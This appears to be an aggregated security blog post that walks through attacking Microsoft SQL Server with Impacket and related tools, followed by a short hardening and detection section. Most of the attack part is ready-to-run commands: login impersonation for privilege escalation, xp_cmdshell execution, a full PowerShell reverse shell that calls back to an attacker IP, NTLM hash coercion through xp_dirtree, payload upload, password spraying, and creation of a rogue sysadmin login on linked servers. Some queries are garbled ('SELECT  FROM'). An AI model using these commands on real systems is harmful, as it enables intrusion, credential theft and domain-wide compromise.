MSSQL in the Crosshairs: How Impacket Turns a Database into a Full Domain Pivot + Video

Listen to this Post

Featured Image

Introduction

Microsoft SQL Server (MSSQL) remains one of the most widely deployed relational database systems in enterprise environments. During penetration tests and red team engagements, MSSQL instances are frequently discovered — and when misconfigured, they can become a powerful pivot point for deeper compromise. This article walks through a realistic MSSQL exploitation workflow using Impacket’s `mssqlclient.py` tool, covering everything from initial authentication to OS-level command execution across linked servers.

Learning Objectives

  • Understand how to enumerate MSSQL servers, databases, logins, and impersonation opportunities using Impacket’s built-in commands.
  • Master privilege escalation techniques including `EXECUTE AS` impersonation and abuse of the `TRUSTWORTHY` database setting.
  • Execute operating system commands via xp_cmdshell, pivot through linked servers, and perform lateral movement while maintaining operational security (OPSEC).

You Should Know

1. MSSQL Enumeration & Authentication with Impacket

MSSQL servers often use either SQL Authentication (username/password) or Windows Authentication (domain credentials). Impacket’s `mssqlclient.py` supports both methods and even pass‑the‑hash attacks.

Step‑by‑Step Guide

Connecting via SQL Authentication (using the SA account):

impacket-mssqlclient sa:Ignite@[email protected]

A successful connection shows the server switching to TLS, confirming the database context, and presenting an interactive SQL prompt as `dbo@master` — the most privileged database role.

Connecting via Windows Authentication:

impacket-mssqlclient raj:Password@[email protected] -windows-auth

Notice that with Windows authentication, the prompt often shows a `guest@master` context, indicating limited database privileges compared to the `sa` account.

Enumerating Databases & Their Trustworthy Status:

enum_db

The `is_trustworthy_on` flag is critical. A value of `1` (enabled) indicates that the database can execute code as the database owner — frequently sa.

Checking Database Owner:

enum_owner

This returns the owner of each database. In many environments, system databases (master, msdb, model, tempdb) are owned by sa.

Listing Server Logins:

enum_logins

Key finding: the `sa` account will show sysadmin = 1, confirming it holds the highest SQL Server privilege.

Checking Impersonation Opportunities:

enum_impersonate

This reveals which logins can be impersonated. A classic misconfiguration grants `IMPERSONATE` permission on the `sa` login to a low‑privileged user, allowing direct privilege escalation.

Enumerating Linked Servers:

enum_links

Linked servers allow one SQL instance to execute queries on another. This is a critical lateral movement vector.

2. Privilege Escalation via Impersonation & Trustworthy Databases

Once you have identified that a low‑privilege user can impersonate `sa` (or another sysadmin), you can escalate immediately.

Step‑by‑Step Guide

Escalate to `sa` via Impersonation:

exec_as_login sa

The prompt changes to `SQL (sa dbo@master)>` — you now have full sysadmin privileges despite starting with a low‑privilege Windows account.

Abusing a Trustworthy Database:

If you are `db_owner` of a database with `is_trustworthy_on = 1` and the database owner is sa, you can create a stored procedure that executes as owner, inheriting sysadmin context.

-- Create a stored procedure within the trustworthy database
CREATE PROCEDURE sp_elevate
AS EXEC sp_addsrvrolemember 'low_priv_user', 'sysadmin';
-- Execute the procedure
EXEC sp_elevate;

Alternative: SQL Agent Job Abuse:

SQL Agent jobs often run under a highly privileged service account. If you can create or modify a job, you can run commands with those privileges.

-- Create a job that executes a system command
USE msdb;
EXEC dbo.sp_add_job @job_name = N'priv_job';
EXEC dbo.sp_add_jobstep @job_name = N'priv_job', @step_name = N'cmd',
@command = N'whoami > C:\temp\out.txt';
EXEC dbo.sp_start_job @job_name = N'priv_job';
  1. OS Command Execution via xp_cmdshell & Shell Access

With `sa` privileges, `xp_cmdshell` can be enabled to execute operating system commands directly through SQL Server.

Step‑by‑Step Guide

Enable `xp_cmdshell`:

enable_xp_cmdshell

The `INFO` messages confirm that `show advanced options` and `xp_cmdshell` were changed from 0 to 1, and `RECONFIGURE` ran successfully.

Execute OS Commands:

xp_cmdshell ipconfig

This confirms you are executing commands on the target host. From here, possibilities include enumeration, credential harvesting, and persistence.

Disable `xp_cmdshell` (OPSEC):

disable_xp_cmdshell

Good operational security practice dictates disabling `xp_cmdshell` when not in use to reduce detection footprint.

Getting a Reverse Shell:

Using PowerShell (Windows target):

xp_cmdshell powershell -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.1.5',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

On your attacker machine, set up a listener:

nc -lvnp 4444

Using `xp_dirtree` for NTLM Coercion:

Even without xp_cmdshell, you can coerce NTLM authentication by causing the server to access a remote SMB share:

xp_dirtree '\192.168.1.5\share'

The target will attempt to authenticate to 192.168.1.5, sending a NetNTLM hash that can be captured or relayed.

4. File System Access & Data Extraction

After gaining command execution, you need to access files and exfiltrate data.

Step‑by‑Step Guide

Enumerate Directories with `xp_dirtree`:

EXEC xp_dirtree 'C:\inetpub\wwwroot', 1, 1;

This lists the contents of the web root.

Reading Files:

CREATE TABLE temp (line varchar(8000));
BULK INSERT temp FROM 'C:\path\to\web.config' WITH (FIELDTERMINATOR = '\n', ROWTERMINATOR = '\n');
SELECT  FROM temp;
DROP TABLE temp;

Uploading Files via `mssqlclient`:

Impacket’s `mssqlclient` includes a built‑in file upload mechanism:

impacket-mssqlclient sa:[email protected] -file-upload /local/payload.exe C:\Windows\Temp\payload.exe

This uses `xp_cmdshell` (if enabled) to write Base64‑encoded chunks to a file.

Alternative: Using `bcp` (Bulk Copy Program):

EXEC xp_cmdshell 'bcp "SELECT  FROM table" queryout "C:\data.csv" -c -T -S localhost';

5. Lateral Movement via Linked Server Exploitation

Linked servers are one of the most underrated lateral movement paths in MSSQL environments. A low‑privilege user on one instance can sometimes reach a `sysadmin` context on a linked server.

Step‑by‑Step Guide

Enumerate Linked Servers (PowerShell):

Import-Module PowerUpSQL
Get-SQLServerLinkCrawl -Instance "WIN-058B74D7QOH\SQLEXPRESS"

Execute Commands Through a Linked Server (T‑SQL):

SELECT  FROM OPENQUERY("WIN-SQL", 'SELECT @@version');

Enabling RPC for Command Execution:

EXEC sp_serveroption 'WIN-SQL', 'rpc', 'true';
EXEC sp_serveroption 'WIN-SQL', 'rpc out', 'true';

Executing `xp_cmdshell` Through a Linked Server:

SELECT  FROM OPENQUERY("WIN-SQL", 'SELECT 1; EXEC master..xp_cmdshell ''whoami''');

Chaining Multiple Linked Servers (Double‑Hop):

Quotes nest exponentially. Each level doubles the single quotes:

SELECT  FROM OPENQUERY("Link1", 'SELECT  FROM OPENQUERY("Link2", ''SELECT @@version'')');

Use PowerUpSQL’s `Get-SQLServerLinkCrawl` instead of doing this manually, as it handles quoting automatically.

Creating a Privileged User on a Linked Server:

EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@s$w0rd'''' '')') AT "WIN-SQL";
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''', ''''sysadmin'''' '')') AT "WIN-SQL";

6. Advanced Exploitation & Tooling

Using `mssqlpwner` (Kali Linux):

 Install
sudo apt install mssqlpwner

Interactive mode with pass‑the‑hash
mssqlpwner -hashes aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c 'domain/[email protected]' interactive

Execute command through linked server crawl
mssqlpwner -u user -p pass -t 192.168.1.4 --link-name "WIN-SQL" exec -x 'whoami'

MSSqlPwner is based on Impacket and supports authentication with clear‑text passwords, NTLM hashes, and Kerberos tickets.

Automating Linked Server Discovery & Exploitation with `mssql‑spider`:

 Install
pip install git+https://github.com/dadevel/mssql-spider.git@main

Spray default passwords and exploit linked servers
mapcidr -cidr 192.168.178.0/24 | mssql-ping | tee ./instances.json | mssql-spray passwords -c ./assets/default-credentials.txt | tee ./logins.json | mssql-spider -x 'whoami /all'

Using domain credentials (fetch SPNs from BloodHound)
mssql-discover bloodhound | mssql-ping | tee ./instances.json | mssql-spider -d corp.local -u jdoe -p 'passw0rd' --sysinfo -c '\192.168.178.128\harvest'

This tool automatically crawls linked instances and abuses user impersonation to reach as many servers as possible.

Executing Custom .NET CLR Assemblies:

When both `xp_cmdshell` and OLE automation are locked down, you can load a malicious .NET assembly as a CLR stored procedure:

mssql-spider -u sa -p 'passw0rd' -t db01.corp.local --exec-clr ./SharpProcedure.dll Run cmd.exe '/c echo %USERNAME%'

7. Defensive Measures & Hardening

Immediate Hardening Commands (T‑SQL, run as `sysadmin`):

-- Disable xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE;
EXEC sp_configure 'show advanced options', 0; RECONFIGURE;

-- Disable OLE Automation
EXEC sp_configure 'Ole Automation Procedures', 0; RECONFIGURE;

-- Remove dangerous impersonation grants
REVOKE IMPERSONATE ON LOGIN::sa FROM [bash];

-- Set trustworthy database flag to 0 (off)
ALTER DATABASE msdb SET TRUSTWORTHY OFF;

Network Hardening (Windows Firewall & Group Policy):

  • Restrict inbound access to TCP port 1433 (or custom port) to known application servers.
  • Enforce encrypted connections (Force Encryption = Yes) and TLS 1.2+.
  • Use a dedicated low‑privilege service account for SQL Server — never `NT AUTHORITY\SYSTEM` or a Domain Admin.
  • Regularly audit server principals and their permissions using:
    SELECT dp.name AS Principal, dp.type_desc, sp.name AS Permission, sp.state_desc
    FROM sys.server_permissions sp
    JOIN sys.server_principals dp ON sp.grantee_principal_id = dp.principal_id
    WHERE sp.class_desc = 'SERVER'
    AND sp.permission_name IN ('IMPERSONATE', 'CONTROL SERVER', 'ADMINISTER BULK OPERATIONS');
    

Monitoring & Detection (Event Logs):

Monitor Windows Event IDs for suspicious activity:

  • Event ID 33205 (Audit schema object access change)
  • Event ID 33204 (Audit login failed)
  • Event ID 33207 (Audit server principal impersonation)

What Undercode Say

  • MSSQL misconfigurations are a red team’s goldmine. The combination of weak `sa` passwords, excessive impersonation rights, and `TRUSTWORTHY` databases provides a direct path from an authenticated user to a domain‑level compromise through lateral movement.
  • Defense requires proactive hardening, not reactive patching. The techniques shown are not novel vulnerabilities but deliberate design choices that become dangerous when misconfigured. Organizations must embed security into the operational baseline — as Microsoft is now doing with SQL Server 2025’s “security by default” approach — rather than relying on occasional audits.
  • Impacket and its ecosystem have matured into a complete lateral movement toolkit. From `mssqlclient.py` to the newer `mssqlpwner` and mssql‑spider, defenders should assume these tools are already in attacker hands and build detection rules around their specific command patterns (enable_xp_cmdshell, enum_links, `xp_dirtree` with remote paths).

Prediction

The coming year will see a sharp rise in “living off the land” attacks that abuse MSSQL’s native features rather than deploying malware. Attackers will increasingly use linked servers to hop across cloud and on‑premises environments — as Microsoft already observed in a 2023 campaign where adversaries attempted to move from an Azure VM SQL instance into the cloud control plane. Defenders will need to extend their gaze beyond the database engine to include the identity layer (Service Principal Names, Kerberos delegation, Managed Identities) and implement real‑time detection of anomalous T‑SQL statements, especially `OPENQUERY` and `xp_cmdshell` invocations, as central elements of a zero‑trust database posture.

▶️ Related Video (80% Match):

🎯Let’s Practice For Free:

IT/Security Reporter URL:

Reported By: Yashika Dhir – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky